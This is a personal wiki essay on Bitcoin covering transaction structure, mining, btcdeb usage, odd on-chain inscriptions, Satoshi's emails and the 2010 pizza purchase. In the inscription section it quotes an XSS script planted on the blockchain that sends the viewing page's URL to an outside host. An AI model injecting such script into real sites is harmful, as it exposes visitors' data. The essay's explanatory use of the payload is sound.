by Ciro Santilli (@cirosantilli, 34)
The key difficulties of cryptocurrencies are:
Until those problems are solved, the only real applications of cryptocurrency will by illegal activities, notably buying drugs, paying for ransomware. But also paying for anti-censorship services from inside dictatorships. Illegal activity can be good when governments are bad, and arguably selling drugs should be legal.
For this reason Ciro Santilli believes that privacy coins like Monero are currently the most useful cryptocurrencies. Also, people concerned with their privacy are likely to more naturally make fewer larger payments to reduce exposure rather than a bunch of small separate ones, and therefore transaction fees matter less, and can be seen as a reasonable privacy tax. Also drugs are expensive, just have a look at any uncensored Onion service search engine, so individual transactions tend to be large.
Hedgint against inflation due to money creation in fiat currencies is a another valid argument for cryptocurrencies. Money printing is a bad form of tax. But why not just instead invest in bonds or stocks, which actually have a specific intrinsic value and should therefore increase your capital and beat inflation? Even if crypto did take over, its value would eventually become constant, and just holding it would lose out to stocks and bonds. And pre-crypto, salaries should adjust relatively quickly to new inflation levels as they come, though there is always some delay. Also, without anonymity, governments will sooner or later find a way to regulate and pervert it. If you want to do things without anonymity, then what you really have to fight for is to change government itself, perhaps with a DAO-like approach, or pushing for a more direct democracy.
If crypto really takes off, 99.99% of people will only ever use it through some cryptocurrency exchange (unless scalability problems are solved, and they replace fiat currencies entirely), so the experience will be very similar to PayPal, and without "true" decentralization.
For those reasons, Ciro Santilli instead believes that governments should issue electronic money, and maintain an open API that all can access instead. The centralized service will always be cheaper for society to maintain than any distributed service, and it will still allow for proper taxation.
Ciro believes that it is easy for people to be seduced by the idealistic promise that "cryptocurrency will make the world more fair and equal by giving everyone equal opportunities, away from the corruption of Governments". Such optimism that new technologies will solve certain key social problems without the need for constant government intervention and management is not new, as shown e.g. at HyperNormalisation by Adam Curtis (2016) when he talks about the cyberspace (when the Internet was just beginning): youtu.be/fh2cDKyFdyU?t=2375. Technologies can make our lives better. But in general, some of them also have to be managed.
In any case, cryptocurrencies are bullshit, the true currency of the future is going to be Magic: The Gathering cards. And Cirocoin.
One closely related thing that Ciro Santilli does think could be interesting exploring right now however, notably when having Monero-like anonymity in mind, would be anonymous electronic voting, which is a pre-requisite to make direct democracy convenient so people can vote more often.
TODO evaluate the possible application of cryptocurrency for international transfers:
Of course, the ideal solution would be for governments to just allow for people from other countries to create accounts in their country, and use the centralized API just like citizens. Having an account of some sort is of course fundamental to avoid money laundering/tax evasion, be it on the API, or when you are going to cash out the crypto into fiat. So then the question becomes: suppose that governments are shit and never make such APIs, are international transfers just because traditional banks are inefficient/greedy? Or is it because of the inevitable cost of auditing transfers? E.g. how does TransferWise compare to Bitcoin these days? And if cryptocurrency is more desirable, why wouldn't TransferWise just use it as their backend, and reach very similar fees?
Notable ones:
Created by Luke Dashjr.
The pool is named after Saint Eligius, patron of miners[ref]
Eligius also means to "choose" or "chosen" in Latin: en.wiktionary.org/wiki/Eligius, same root as "to elect" in modern English presumably.
They might have shut down, but they still have the cutest name! And they've made some cute inscriptions too, see: HHTT
Official website: bitcoin.org/en/
Reference implementation: Bitcoin Core.
  • buy some at a cryptocurrency exchange. This is the only viable way of obtaining crypto nowadays, since basically all cryptocurrencies require specialized hardware to mine.
  • send it to a self hosted Bitcoin wallet without a full node, e.g. Electrum
  • then send something out of the wallet back to the exchange wallet!
  • convert the crypto back to cash
Suppose we specify:
  • a .dat file
  • the offset in bytes within that file
The question then is, which transaction is encoded at that position of the file?
This would allow us to index inscriptions in the .dat files directly with fast C tools, and then retrive the transaction ID to get cleaner data and metadata.
It should be possible if we managed to take the information from bitcoindev.network/understanding-the-data/ and dump into an indexed SQLite database.
I tried to start things off with LevelDBDumper: 
LevelDBDumper -d ~/snap/bitcoin-core/common/.bitcoin/indexes/txindex -f btc.csv -q -o . -t csv
but that consumed all 64 GB of RAM on P51... github.com/mdawsonuk/LevelDBDumper/issues/15
But OK, nevermind that repo, it can be done easily with the LevelDB API of any language: bitcoin.stackexchange.com/questions/121888/what-is-the-data-format-layout-for-txindex-leveldb-values. Just the data seems wrong and we don't know why.
Here is a very direct description of the system:
  • each transaction (transaction is often abbreviated "tx") has a list of inputs, and a list of outputs
  • each input is the output of a previous transaction. You verify your identity as the indented receiver by producing a digital signature for the public key specified on the output
  • each output specifies the public key of the receiver and the value being sent
  • the sum of output values cannot obvious exceed the sum of input values. If it is any less, the leftover is sent to the miner of the transaction as a transaction fee, which is an incentive for mining.
  • once an output is used from an input, it becomes marked as spent, and cannot be reused again. Every input uses the selected output fully. Therefore, if you want to use an input of 1 BTC to pay 0.1 BTC, what you do is to send 0.1 BTC to the receiver, and 0.9 BTC back to yourself as change. This is why the vast majority of transactions has two outputs: one "real", and the other change back to self.Code 1. "Sample Bitcoin transaction graph" illustrates these concepts:
  • tx0: magic transaction without any inputs, i.e. either Genesis block or a coinbase mining reward. Since it is a magic transaction, it produces 3 Bitcoins from scratch: 1 in out0 and 2 in out1. The initial value was actually 50 BTC and reduced with time: Section "Bitcoin halvening"
  • tx1: regular transaction that takes:
    • a single input from tx0 out0, with value 1
    • produces two outputs:
      • out0 for value 0.5
      • out1 for value 0.3
    • this means that there was 0.2 left over from the input. This value will be given to the miner that mines this transaction.
    Since this is a regular transaction, no new coins are produced.
  • tx2: regular transaction with a single input and a single output. It uses up the entire input, leading to 0 miner fees, so this greedy one might (will?) never get mined.
  • tx3: regular transaction with two inputs and one output. The total input is 2.3, and the output is 1.8, so the miner fee will be 0.5
                   tx1                     tx3
  tx0            +---------------+       +---------------+
+----------+     | in0           |       | in0           |
| out0     |<------out: tx0 out0 |  +------out: tx1 out1 |
| value: 1 |     +---------------+  |    +---------------+
+----------+     | out0          |  |    | in1           |
| out1     |<-+  | value: 0.5    |  | +----out: tx2 out0 |
| value: 2 |  |  +---------------+  | |  +---------------+
+----------+  |  | out1          |<-+ |  | out1          |
              |  | value: 0.3    |    |  | value: 1.8    |
              |  +---------------+    |  +---------------+
              |                       |
              |                       |
              |                       |
              |    tx2                |
              |  +---------------+    |
              |  | in0           |    |
              +----out: tx0 out1 |    |
                 +---------------+    |
                 | out0          |<---+
                 | value: 2      |
                 +---------------+
Code 1.
Sample Bitcoin transaction graph
.
Since every input must come from a previous output, there must be some magic way of generating new coins from scratch to bootstrap the system. This mechanism is that when the miner mines successfully, they get a mining fee, which is a magic transaction without any valid inputs and a pre-agreed value, and an incentive to use their power/compute resources to mine. This magic transaction is called a "coinbase transaction".
The key innovation of Bitcoin is how to prevent double spending, i.e. use a single output as the input of two different transactions, via mining.
For example, what prevents me from very quickly using a single output to pay two different people in quick succession?
The solution are the blocks. Blocks discretize transactions into chunks in a way that prevents double spending.
A block contains:
  • a list of transactions that are valid amongst themselves. Notably, there can't be double spending within a block.
    People making transactions send them to the network, and miners select which ones they want to add to their block. Miners prefer to pick transactions that are:
    • small, as less bytes means less hashing costs. Small generally means "doesn't have a gazillion inputs/outputs".
    • have higher transaction fees, for obvious reasons
  • the ID of its parent block. Blocks therefore form a linear linked list of blocks, except for temporary ties that are soon resolved. The longest known list block is considered to be the valid one.
  • a nonce, which is an integer chosen "arbitrarily by the miner"
For a block to be valid, besides not containing easy to check stuff like double spending, the miner must also select a nonce such that the hash of the block starts with N zeroes.
For example, considering the transactions from Code 1. "Sample Bitcoin transaction graph", the block structure shown at Code 2. "Sample Bitcoin blockchain" would be valid. In it block0 contains two transactions: tx0 and tx1, and block1 also contains two transactions: tx2 and tx3.
 block0           block1             block2
+------------+   +--------------+   +--------------+
| prev:      |<----prev: block0 |<----prev: block1 |
+------------+   +--------------+   +--------------+
| txs:       |   | txs:         |   | txs:         |
| - tx0      |   | - tx2        |   | - tx4        |
| - tx1      |   | - tx3        |   | - tx5        |
+------------+   +--------------+   +--------------+
| nonce: 944 |   | nonce: 832   |   | nonce: 734   |
+------------+   +--------------+   +--------------+
Code 2.
Sample Bitcoin blockchain
.
The nonces are on this example arbitrary chosen numbers that would lead to a desired hash for the block.
block0 is the Genesis block, which is magic and does not have a previous block, because we have to start from somewhere. The network is hardcoded to accept that as a valid starting point.
Now suppose that the person who created tx2 had tried to double spend and also created another transaction tx2' at the same time that looks like this:
  tx2'
+---------------+
| in0           |
| out: tx0 out1 |
+---------------+
| out0          |
| value: 2      |
+---------------+
Clearly, this transaction would try to spend tx0 out1 one more time in addition to tx2, and should not be allowed! If this were attempted, only the following outcomes are possible:
  • block1 contains tx2. Then when block2 gets made, it cannot contain tx2', because tx0 out1 was already spent by tx2
  • block1 contains tx2'. tx2 cannot be spent anymore
Notably, it is not possible that block1 contains both tx2 and tx2', as that would make the block invalid, and the network would not accept that block even if a miner found a nonce.
Since hashes are basically random, miners just have to try a bunch of nonces randomly until they find one that works.
The more zeroes, the harder it is to find the hash. For example, on the extreme case where N is all the bits of the hash output, we are trying to find a hash of exactly 0, which is statistically impossible. But if e.g. N=1, you will in average have to try only two nonces, N=2 four nonces, and so on.
The value N is updated every 2 weeks, and aims to make blocks to take 10 minutes to mine on average. N has to be increased with time, as more advanced hashing hardware has become available.
Once a miner finds a nonce that works, they send their block to the network. Other miners then verify the block, and once they do, they are highly incentivized to stop their hashing attempts, and make the new valid block be the new parent, and start over. This is because the length of the chain has already increased: they would need to mine two blocks instead of one if they didn't update to the newest block!
Therefore if you try to double spend, some random miner is going to select only one of your transactions and add it to the block.
They can't pick both, otherwise their block would be invalid, and other miners wouldn't accept is as the new longest one.
Then sooner or later, the transaction will be mined and added to the longest chain. At this point, the network will move to that newer header, and your second transaction will not be valid for any miner at all anymore, since it uses a spent output from the first one that went in. All miners will therefore drop that transaction, and it will never go in.
The goal of having this mandatory 10 minutes block interval is to make it very unlikely that two miners will mine at the exact same time, and therefore possibly each one mine one of the two double spending transactions. When ties to happen, miners randomly choose one of the valid blocks and work on top of it. The first one that does, now has a block of length L + 2 rather than L + 1, and therefore when that is propagated, everyone drops what they are doing and move to that new longest one.
Tested on Ubuntu 23.10: 
sudo apt install libtool
git clone https://github.com/bitcoin-core/btcdeb
cd btcdeb
git checkout 4fd007e57b79cba9b5ffdf5ffe599778c0d63b88
./autogen.sh
./configure
make -j
Patch submited at: github.com/bitcoin-core/btcdeb/pull/143
Then we use it; 
./btcdeb '[OP_1 OP_2 OP_ADD]'
and inside the shell: 
btcdeb 5.0.24 -- type `./btcdeb -h` for start up options
LOG: signing segwit taproot
notice: btcdeb has gotten quieter; use --verbose if necessary (this message is temporary)
3 op script loaded. type `help` for usage information
script  |  stack 
--------+--------
1       | 
2       | 
OP_ADD  | 
#0000 1
btcdeb> step
                <> PUSH stack 01
script  |  stack 
--------+--------
2       |      01
OP_ADD  | 
#0001 2
btcdeb> step
                <> PUSH stack 02
script  |  stack 
--------+--------
OP_ADD  |      02
        |      01
#0002 OP_ADD
btcdeb> step
                <> POP  stack
                <> POP  stack
                <> PUSH stack 03
script  |  stack 
--------+--------
        |      03
btcdeb> step
script  |  stack 
--------+--------
        |      03
btcdeb> step
at end of script
btcdeb>
Authors: Peilin Zheng, Xiapu Luo, Zibin Zheng
Epic title.
Ouptut 0 disassembles as: 
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIF
The large constant contains an ASCII Bitcoin Core patch entitled Remove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept: 
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE

I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
 backends/bitcoind/deserialize.py |    8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
     "OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
     "OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
     "OP_CHECKMULTISIGVERIFY",
-    ("OP_SINGLEBYTE_END", 0xF0),
-    ("OP_DOUBLEBYTE_BEGIN", 0xF000),
     "OP_PUBKEY", "OP_PUBKEYHASH",
-    ("OP_INVALIDOPCODE", 0xFFFF),
+    ("OP_INVALIDOPCODE", 0xFF),
 ])
 
 
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
         vch = None
         opcode = ord(bytes[i])
         i += 1
-        if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
-            opcode <<= 8
-            opcode |= ord(bytes[i])
-            i += 1
 
         if opcode <= opcodes.OP_PUSHDATA4:
             nSize = opcode
-- 
1.7.9.4
bitcointalk.org/index.php?topic=5231222.0 duscusses what happens if there is an invalid opcode in a branch that is not taken.
As mentioned at the prize was claimed at 8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same SHA-1: 
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sum
both giving 
f92d74e3874587aaf443d1db961d4e26dde13e9c
It was claimed on the same day that Google disclosed the collision: security.googleblog.com/2017/02/announcing-first-sha1-collision.html
Both of these are PDF prefixes, so they start with the PDF file signature, but are not fully viewable PDFs on their own.
This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.: 
    {
      "value": 0.00002000,
      "n": 9,
      "scriptPubKey": {
        "asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
        "hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
        "type": "witness_v1_taproot"
      }
    },
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
Output 0 does: 
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers: 
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with: 
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and OP_FROMALTSTACK, thus making it spendable: 
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants: 
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one: 
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.
They appear to be included, with rationale that you can already include syntactically valid crap in an unprovable way: github.com/bitcoin/bitcoin/issues/320 Better then have syntactically invalid crap that is provable.
The outputs of this transaction seem to be the first syntactically incorrect scripts of the blockchain: blockchain.info/tx/ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767?format=json, found by parsing everything locally. The transaction was made in 2013 for 0.1 BTC, which then became unspendable.
The first invalid script is just e.g. "script":"01", which says will push one byte into the stack, but then ends prematurely.
cointelegraph.com/learn/bitcoin-halving-how-does-the-halving-cycle-work-and-why-does-it-matter Happens every 210,000 blocks, aiming approximately at 4 year intervals. The historical dates were:
  • 50 BTC initially
  • 1st: 2012: down to 25 BTC
  • 2nd: 2016: down to 12.5 BTC
  • 3rd: 2020: down to 6.25 BTC
Each of these events prompts some commemorative inscriptions: Section "Halvening messages".
MOre precisely we of course mean the first non-Coinbase transaction obviously.
Using funds from block 9.
On May 19, 2020, Lazlo announced on the Bitcoin Forum at: bitcointalk.org/index.php?topic=137.msg1195
I'll pay 10,000 Bitcoins for a couple of pizzas.. like maybe 2 large ones so I have some left over for the next day. I like having left over pizza to nibble on later. You can make the pizza yourself and bring it to my house or order it for me from a delivery place, but what I'm aiming for is getting food delivered in exchange for bitcoins where I don't have to order or prepare it myself, kind of like ordering a 'breakfast platter' at a hotel or something, they just bring you something to eat and you're happy!
I like things like onions, peppers, sausage, mushrooms, tomatoes, pepperoni, etc.. just standard stuff no weird fish topping or anything like that. I also like regular cheese pizzas which may be cheaper to prepare or otherwise acquire.
If you're interested please let me know and we can work out a deal.Ciro Santilli remembers his father always telling him how when Ciro was small, he would try to grasp the value of money by converting it into how many pizzas he could buy. Well, at least he was not alone.
User bitcoin2paysafe then asks the fundamental practical question:
In which country do you live?
and Lazslo replies:
Jacksonville, Florida
zip code 32224
United States
User ender_x then points out afterward:
10,000... Thats quite a bit.. you could sell those on www.bitcoinmarket.com/ for $41 USD right now..
so it is a slightly bad deal even then!
Three days later Lazlo's asks again on the thread:
So nobody wants to buy me pizza? Is the bitcoin amount I'm offering too low?
and one day later he confirms that the sale was made without naming the buyer:
I just want to report that I successfully traded 10,000 bitcoins for pizza
Thanks jercos!
where "jercos" is presumably the Bitcoin Forum username of the buyer. en.bitcoin.it/wiki/Jercos gives his identity as Jeremy Sturdivant.
www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/ mentions Jeremy sold too early however:
The cryptocash disappeared when Sturdivant used it to "cover expenses" while travelling the US with his girlfriend.
Figure 1.
Laszlo's Papa's Specialty pizzas
. Source. The most famous of Laszlo's pizzas, originally published on his website: web.archive.org/web/20210217220810/http://heliacal.net/~solar/bitcoin/lightning-pizza/.
Figure 2.
Laszlo's secondary pizza event
. Source. web.archive.org/web/20210217220810/http://heliacal.net/~solar/bitcoin/lightning-pizza/ documents another pizza event, as we have different pizza boxes from the most widely known one: web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/ Only image thumbs are archived however. web.archive.org/web/20211016070745/https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/ however shows a large version that The Sun got their hands on before the takedown.
Figure 3.
Jeremy Sturdivant
. Source.
heliacal.net is presumably his personal website? But is was down as of 2023. But we have Wayback Machine archives of course :-) Latest working one of that page 2021: web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/ And some other stalking:
Laszlo is truly, literally, the nerd who got very very very lucky!!!
On June 12, 2010 Laszlo re-offers:
This is an open offer by the way.. I will trade 10,000 BTC for 2 of these pizzas any time as long as I have the funds (I usually have plenty). If anyone is interested please let me know. The exchange is favorable for anyone who does it because the 2 pizzas are only about 25 dollars total, maybe 30 if you give the guy a nice tip. If you get me the upgraded extra large ones or something, I can throw in some more bitcoins, just let me know and we'll work something out.
My 1 year old daughter really enjoys pizza too! She just smears it all over her face if you give her a whole slice, but she does eventually manage to get most of it in her mouth (minus a few loose toppings of course).
and on August 4 user MoonShadow takes him up:
An open offer, you say? It's been a while since you had some pizza. Feeling a craving, Laszlo?
but finally Laszlo withdrawls the offer:
Well I didn't expect this to be so popular but I can't really afford to keep doing it since I can't generate thousands of coins a day anymore. Thanks to everyone who bought me pizza already but I'm kind of holding off on doing any more of these for now.
so we understand that the sales happened multiple times!!! Also, we understand that he was probably a miner.
TODO list all of the potential sales.
en.bitcoin.it/wiki/Jercos mentions:
According to jercos the transaction was finalized over IRC chats. Jercos was 18 at the time of the transaction.www.bitcoinwhoswho.com/jercosinterview is the source. Persumably the contact was initiated via the private messaging feature of the Bitcoin Forum.
Figure 1.
Jeremy Sturdivant
. Source.
TODO who bought the Bitcoins? Is anyone else besides Jeremy Sturdivant
The original forum thread bitcointalk.org/index.php?topic=137.msg1195 suggests multiple purchases were made, until he had to withdrawl the offer. Perhaps an easier question is how many pizzas he got in the first place.
www.reddit.com/r/Bitcoin/comments/13on6px/comment/jl55025/?utm_source=reddit&utm_medium=web2x&context=3 mentions without source:
I know. Laszlo Hanyecz estimates that he spent 100,000 BTC on pizza in 2010. Laszlo is the man that invented GPU mining and he mined well over 100,000 BTC.
One source is: bitcoinmagazine.com/culture/the-man-behind-bitcoin-pizza-day-is-more-than-a-meme-hes-a-mining-pioneer
Related thread from May 2023: bitcointalk.org/index.php?topic=5453728.msg62286606#msg62286606 "Did Laszlo Hanyecz exchange 40000 BTC for 8 pizzas, not 10000 BTC for 2 pizzas?" but their Googling is so bad no one had found the 100,000 quote before Ciro.
As per bitcoin.stackexchange.com/questions/113831/searching-the-blockchain-based-on-transaction-amount-and-or-date at blockchair.com/bitcoin/outputs?s=time(asc)&q=value(1000000000000),time(2010-05-18..2010-08-05) we can list all the transactions made between the offer and withdrawal dates for value exactly 10k. There are only about 20 of them, and including someone the 22nd of May, so it is extremely likely that this will contain the hits. No repeated recipients however, so it is hard to progress with more advanced analytics tools
Some of the transactions are:
8 d1a429c05868f9be6cf312498b77f4e81c2d4db3268b007b6b80716fb56a35ad (29 May) is a common looking transaction with a single input from 1Bc7T7ygkKKvcburmEg14hJKBrLD7BXCkX and two outputs, one likely being the change to 1GH4dRUAagj67XVjr4TV6J9RFNmGYsLe7c and the other the actual value to 138eoqfNcEdeU9EG9CKfAxnYYz62uHRNrA.
The input chain is complex, but it does contain one block reward on the third level: 17PBFeDzks3LzBTyt6bAMATNhowrvx5kBw + 79 rewards 4th level at 045795627ca29ec72a94c23a65ee775ea1949d60b6fba0938b75e1cfe1e6643e.
www.nytimes.com/2021/01/12/technology/bitcoin-passwords-wallets-fortunes.html
As for his lost password and inaccessible Bitcoin, Mr. Thomas has put the IronKey in a secure facility - he won’t say where - in case cryptographers come up with new ways of cracking complex passwords. Keeping it far away helps him try not to think about it, he said.
“I would just lay in bed and think about it," Mr. Thomas said.
Video 1.
What is Bitcoin? (v1) by WeUseCoins (2011)
Source. This is the video that Stefan Thomas as paid 7,002 Bitcoins to make back in 2011.
Good article about its history: en.bitcoin.it/wiki/BitcoinTalk
Founded by Satoshi Nakamoto, making it the earliest and one of the most important Bitcoin communities. TODO official in any way? Who founded it?
Instance of Simple Machines Forum, an open source, PHP-based forum system.
Some notable appearances:
A lot of important development discussion happened in those channels: en.bitcoin.it/wiki/IRC_channels
At www.reddit.com/r/Bitcoin/comments/5pvp6m/is_there_a_log_for_the_bitcoin_irc_channel/ "Is there a log for the bitcoin IRC channel?" Luke Dashjr comments:
No, it is meant to be private without logging allowed.
User "midmagic" (TODO identify) then comments:
The #bitcoin channel on Freenode is "officially unlogged." That means we officially don't publish the logs anywhere, and if we find that logs are published somewhere, we ask that they be taken down
Some IRC logs were dumped into the Bitcoin blockchain at: IRC log dumps where they cannot be deleted.
Accounts:
Author of the prayer side of the Prayer wars.
According to LinkedIn he studied at the Benedictine College in Kansas.
TODO is his real birthname "Luke Dash Jr."?
Apparently he had his coins stolen in January 2023, then worth $3.5m: blog.cryptostars.is/luke-dashjr-an-original-bitcoin-developer-loses-all-his-btc-88421c395ce5p...
www.reddit.com/r/Buttcoin/comments/4936kw/lukejr_is_a_seriously_a_super_crazy_person_quotes/ "Luke-Jr is a seriously a super crazy person quotes gigathread." (2016) on Reddit. Apparently he has some fun views of life.
Figure 1. Source.
bitcoin.org registration: 2008-08-18
2008-08-22: first private contact to Wei Dai email. Reproduced at www.gwern.net/docs/bitcoin/2008-nakamoto on gwern.net from address satoshi@anonymousspeech.com. Email provider shutting down entirely on 2021-09-30 as per archive.ph/wip/RRNKx, homepage now juts contains useless Bitcoin stuff.
First public Bitcoin whitepaper announcement: 2008-10-31 www.metzdowd.com/pipermail/cryptography/2008-October/014810.html linking to www.bitcoin.org/bitcoin.pdf, email sent from from satoshi@vistomail.com. Claimed one year and a half development time. Provider apparently closed in 2014: www.reddit.com/r/Bitcoin/comments/3h80mi/vistomailcom_closed_and_domain_changed_owner_in/, as of 2021 just reads:
Once upon a time a man paid me a visit in cyberspace, at this very domain. He planted a seed in our heads that would become the path we are walking today.
Replies in November: www.metzdowd.com/pipermail/cryptography/2008-November/thread.html#14863 under satoshi@anonymousspeech.com claims source code shared privately by request at that point.
First open source release: 9 January 2009. Announcement: www.metzdowd.com/pipermail/cryptography/2009-January/014994.html "Windows only for now. Open source C++ code is included" Arghhhhhh how can those libertarians use Microsoft Windows??? Had a GUI already.
2011-04-23 Satoshi sent his last email ever, it was to Martti Malmi. www.nytimes.com/2015/05/17/business/decoding-the-enigma-of-satoshi-nakamoto-and-the-birth-of-bitcoin.html mentions:
May 2011 was also the last time Satoshi communicated privately with other Bitcoin contributors. In an email that month to Martti Malmi, one of the earliest participants, Satoshi wrote, "I've moved on to other things and probably won't be around in the future."
Hal Finney:
Official Bitcoin domain registered by Satoshi Nakamoto.
Registration: 2008-08-18 by www.namecheap.com, an American company. But using a privacy oriented registrar: bitcoin.stackexchange.com/questions/89532/how-did-nakamoto-untraceably-pay-for-registering-bitcoin-org It is unknown how he could have paid anonymously, so it seems likely that the true identity could be obtained by law enforcement if needed.
First archive 2009-01-31: web.archive.org/web/20090131115053/http://bitcoin.org/ Also from the archive history web.archive.org/web/20100701000000*/bitcoin.org, things really started picking up on July 2010. This is almost certainly due to the opening of
One of Satoshi's email addresses, this one is given on the Bitcoin whitepaper.
One of Satoshi's email addresses, it's how he made the First public announcement of Bitoin on first public announcement of Bitcoin on 2008-10-31.
At some point later on vistomail.com was discontinued and acquired by a super dodgy dude, Alex Elbanna, so it hasn't been Satoshi for a while.
2023-11-17 bitcointalk.org/index.php?topic=5478677.0 "I Bought vistomail.com. Now What?" Restricted topic, but Google caught it: archive.ph/wip/dDxqi The message:
I am dedicating the next few months, and perhaps even years, to researching Satoshi Nakamoto and the intricacies of blockchain technology. About four weeks ago, I came across vistomail.com for sale on afternic.com and decided to purchase it. I added vistomail.com to my proton.me account and configured it to catch all emails. As a result, numerous emails started flowing in. Subsequently, I connected satoshi@vistomail.com and discovered significant information that I am excited to share with you in the coming months.
To be clear, I want to emphasize that I am not Satoshi Nakamoto. My interest lies in understanding the future plans for Bitcoin and its impact on the world. I invite you to join me on this journey, contributing your knowledge to the collective understanding. I believe there is a possibility of uncovering the ultimate treasure, and I am eager to share it with all of you.
twitter @alexelbanna
2023-11-17, 06:46:25 PM. bitcointalk.org/index.php?topic=5474482.0 vistomail.com for sale, Restricted topic, but Google caught it: archive.ph/wip/GARBy The message:
Vistomail.com has a rich Bitcoin history with Satoshi Nakamoto, the creator of Bitcoin.
Email address: satoshi@vistomail.com
$50,000 obo for vistomail.com. Buy Now: www.afternic.com/listings/778206
How it would be of value:
You would open a proton.me account add domain vistomail.com. Then you create an address such as: satoshi@vistomail.com and the you can set the domain to a catch all address. All satoshi@vistomail.com emails will come into your inbox. All emails from @vistomail.com going to vistomail.com will now be in your inbox.
See other domains Satoshi Nakamoto owned here: www.afternic.com/listings/778206
Michael Weber
Domain Registrar
mweber@dosidos.net
They updated the page to a more scammy one as of 2024: web.archive.org/web/20240310205138/https://www.vistomail.com/ mentioning x1coin.org. But still Alex no doubt: twitter.com/AlexElbanna/status/1763575552538001530 | github.com/bLeYeNk
As of 2024-04-03, it was parked again on GoDaddy, and emails were bouncing.
As of 2024-04-10, it was now a Ghost blogging intance still by Alex: www.vistomail.com/articles-coming-soon/ He added Ciro Santilli as a collaborator, but Ciro could only draft articles which Alex could then review. He allowed a cheeky link to OurBigBook.com in: archive.ph/8l6az epic. Let's see if it gives traffic!
www.vistomail.com/non-profits/ claims they were giving out grants via satoshin@nt-medic.com and provided address 1BCwUg3PsLK9wJK815RkmzSMdAnALNHu64
Shady shady buyer of "vistomail.com". He sends emails as satoshi@vistomail.com without any disclaimers, Godlike.
